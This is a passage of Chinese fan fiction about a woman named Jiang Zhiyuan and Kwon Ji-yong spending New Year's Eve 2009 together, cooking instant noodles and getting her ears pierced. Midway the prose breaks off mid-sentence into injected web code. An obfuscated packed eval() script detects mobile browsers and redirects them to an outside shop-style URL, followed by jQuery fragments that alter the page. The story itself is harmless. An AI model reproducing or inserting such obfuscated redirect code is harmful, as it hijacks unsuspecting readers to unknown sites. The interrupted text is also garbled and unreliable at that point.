录制结束之后,姜知沅原本打算独自回家冷静一下今天晚上出现的那些莫名其妙的念头。
但是有个人显然不打算给她这个机会。
“快要跨年了啊!怎么能不和我一起过呢。”
权至龙从后面贴上来,紧紧地搂住姜知沅的腰,整个人挂在她的身上,耍赖一般地大声抱怨。
“哥!”姜知沅压低声音,试图让这个人型挂件主动从她身上脱离,“这么多人看着,你能不能声音小一点……”
“看着就看着呗,”权至龙纹丝不动,甚至还收紧了手臂,“反正他们都习惯了。”
被权至龙简单地用“他们”概括的太阳、2NE1,以及YG的几个连姜知沅都已经脸熟了的工作人员定在旁边,脸上带着尴尬的笑容,跟姜知沅打了个招呼。
姜知沅不敢用力挣脱,只能无助地拍打着对方环在她腰间的手臂:“但是哥你明明也不准备回家不是吗?难道你要来我家吗?”
话音刚落,她就感觉到腰上的手臂松了松。
“可以吗?”权至龙从她腰间抬起脑袋,眼睛亮晶晶的,像竖起耳朵的小狗。
“可以吗?”他又问了一遍,眼睛里的期待简直能溢出来,“那就这样说定了,知沅你带我回家。”
“等、等等——”
“还等什么,走啦。”权至龙已经松开她,绕到姜知沅前面,一把拉起她的手,“车停哪里了?外面好冷,快点快点。”
姜知沅被他拽着往前走,脑子里一片混乱。
她刚才……说了什么来着?
经过CL的时候,姜知沅听见这位小她一岁的妹妹小声说了一句:“知沅欧尼呀,辛苦你了。”
姜知沅不知道该回复些什么,只能回了一个无奈的眼神。
车里暖气开得很足。
权至龙自愿占据了方向盘,因此姜知沅得以坐在副驾驶,看着窗外飞速后退的夜景,思考着这一切到底是如何发生的。
一个小时之前,她看着幼驯染在舞台上流下的眼泪比,任何一刻都要确信自己陷入了爱河。
一个小时之后,她就在奇怪的展开下,被迫要带着对方回家。
姜知沅抬手掩面,自己好像确实是有点“not all there myself”了。
“知沅啊。”
“嗯?”
“你家有吃的吗?”
姜知沅转头看他。
权至龙盯着前方的路,表情一本正经,但耳朵尖红红的。
“没有。”她回复,“我平时又不在家里做饭。”
“那我们去买一点?”他飞快地瞥了她一眼,“今天晚上这么辛苦总要吃点什么犒劳一下自己吧。你想吃什么?”
姜知沅原本打算拒绝,她有些心烦意乱,而且确实没怎么感受到饿。再加上现在已经接近凌晨,对她而言,与其再花心思填饱肚子,不如早点上床休息。
但是看着他权至龙故作镇定的侧脸,以及他握着方向盘的、用力到微微泛白的指节。
明明紧张得要死,还非要打着只是来顺便蹭个饭的幌子。
“随便。”姜知远最终还是收回视线,看向窗外,“你买什么我吃什么就好了。”
权至龙应了一声,语气里藏着掩不住的雀跃。
二十分钟后,全副武装的两人站到了便利店的冷藏柜前。
姜知沅看着权至龙往购物车里扔的东西,忍不住开口:“你买这么多干嘛?”
“因为知沅平常根本不吃速食的吧,这不是尝试的大好时机吗?”权至龙理不直气也壮,“多买几样才会知道你最喜欢的是什么呀。”
“等等。”看着权至龙还要往推车里面放酒,姜知沅打断他,“你买酒干嘛?”
“稍微喝一点不是没关系吗。”权至龙眨眨眼,“对我来说还是有一定助眠效果的。知沅之前拿给我的香薰很有效,但是现在放在宿舍里。”
姜知沅沉默了一秒:“你开车来的。”
“我可以叫代驾回去。”
姜知沅看着推车里堆成一座小山的东西:“你不是说要在我家跨年吗?还买了这么多东西。”
权至龙愣了一下,然后笑起来,眼睛弯弯的。
“知沅啊,你这是在留我吗?”
姜知沅的公寓在汉南洞。
因为总是被人撞到和塔林沟通的场景,出于对一个没有其它耳朵场所的迫切需求,姜知沅很早就购入了这栋同样位于汉南的平层。
权至龙跟在她后面进门,在门口磨磨蹭蹭地摸索。
这不是他第一次来,但之前都是白天,而且大多数情况下待不了多久。现在再带着不同的心情站在这个地方,感受总有些微妙。
姜知沅本身没感觉有什么的,权至龙那副想看又不敢太明显、想进又怕冒犯的表现反倒让她也变得不自在了起来。
她找了一会儿自己的舌头,清了清嗓子,开口:“至龙哥应该没带换洗的衣物吧,就穿客卧里的将就一下吧。”
姜知沅飞快地安排了权至龙,自己反而躲进了卧室里去。
疯了。
真的是疯了。
她看着镜子里自己微微发红的脸颊,抬手揉了揉,试图把那点不自然的红揉掉。
等姜知沅整理好心绪,推开门走出来时,权至龙已经换好了衣服,正站在她沙发旁的置物架前。
“知沅啊,”权至龙转过头,冲她晃了晃手里的专辑,“这张是什么时候买的?我都没见过。”
姜知沅走过去,看了一眼。是他刚出道时的单曲专辑。
她理了理不存在的领子,故意捏起嗓子:“没去签名会现场不代表没买专辑呀,明明知沅一直都是抱着很真挚的心情给wuli至龙应援的,至龙xi怎么能这么不关心我呢。”
然后被恼羞成怒的哥哥敲了脑袋。
姜知沅捂着脑袋:“不过《只会流泪的傻瓜》真的很好听……”
被哄了好久终于心满意足的权至龙最终放过了姜知沅,两个人准备吃点东西。
但是,权至龙繁忙的练习生生活,和YG虽然不太丰盛但是也存在着的食堂,让他自然地对厨艺没什么钻研。
而姜知沅,作为完全的厨房绝缘体,尽管装修时不知是出于什么样的心理,在家里配置了过于完善的料理设施,但是迄今为止没有在家里做过一次饭。
最后的结果就像这样,两个人一手拿着一包即食拉面,围在小小的水壶旁等待热水。
水壶发出轻微的嗡鸣声,又渐渐加大变成咕嘟咕嘟的翻滚声。
权至龙弯下腰去看,盯着水壶的眼神专注得像是在观察什么了不得的东西。
姜知沅倚靠在在岛台边上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340433|199296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,注视着随着他的动作轻轻晃动的黑色耳坠。
她没打耳洞。小时候是怕痛,后来是没什么时间,再往后一点,应该是觉得没什么非打不可的理由。
姜知沅盯着那点晃动的光,有些出神地摸了摸自己的耳垂。
“要不要……也去打一个耳洞呢。”
“那让我陪着你一起去吧。”
!居然不小心说出来了吗?
姜知沅几乎是瞬间就后悔了,不论怎么说,能少痛一次是一次啊。
但是权至龙已经直起身,转过头来。
“知沅啊,”他微微眯起眼睛,“你刚才说什么。”
“……没什么。”
“我听见了。”
“你听错了。”
“你说要去打耳洞,”权至龙朝她走近一步,“让我陪着。”
姜知沅下意识地往后退了半步:“我没说‘让你陪着’。”
“那就是你来陪我。”他改口改得飞快,眼睛弯出一个好看的弧度,“我认识很厉害的穿孔师,我自己的耳洞也是在那里打的,不疼,而且——”
“水开了。”姜知沅打断他。
权至龙也不急,就那么站在她身后,看着她略显慌乱地倒水、撕调料包、盖上盖子,然后把泡面碗塞进他的手里。
“明天就去吧。”权至龙继续说,语气里带着那种“我已经安排好了”的理所当然,“用新的体验迎接新的一年不是很有意义吗。”
于是2009年最后一天的活动就以两个人一起去打耳洞开始。
姜知沅坐在穿孔工作室的椅子上,看着镜子里自己微微发红的耳垂,忽然有点后悔。
不是后悔打耳洞。
话已经说出口,再反悔也太不像她了。
是后悔松口让这个人陪着。
“疼吗疼吗疼吗?” 刚才还在兴高采烈地跟她炫耀自己这次新打的helix的男人,现在蹲在她身边,眼睛一眨不眨地盯着穿孔师手里的工具,表情比她还要来得紧张。
“权至龙xi,”姜知沅开口,“现在是我要准备打耳洞,不是你吧。”
“我知道,”权至龙的视线落在她的耳垂上,“所以我在替你紧张啊。”
所以说到底在紧张什么。
穿孔师在旁边轻笑一声,手里的工具消毒完毕:“放松,很快的。”
权至龙的手忽然伸过来,握住她的,带着湿润的潮意。
“知沅啊,”他的声音有些发紧,“要是疼的话就捏我好了。”
“真的,不用忍着。”
穿孔师已经对准位置:“三、二、一。”
轻微的刺痛,以及穿刺针穿过皮肉的异物感。
“好了,”穿孔师端详了一下效果,“另一边还要吗?”
“要。”权至龙替姜知沅回答。
这样说完,他才确认性地看向姜知沅的眼睛:“一次性痛完比较好,对吧。”
姜知沅:所以说明明都这么担心了为什么还一定要让她两边都打上啊。
终于结束,姜知沅有些不适应地碰了碰带上长钉的耳垂。
权至龙在一旁看着,也忍不住轻轻碰了碰:“知沅的第一副耳钉,让我来选吧。”
自己或许真的很贪心,权至龙想。
但是姜知沅的所有第一次,他都不想错过。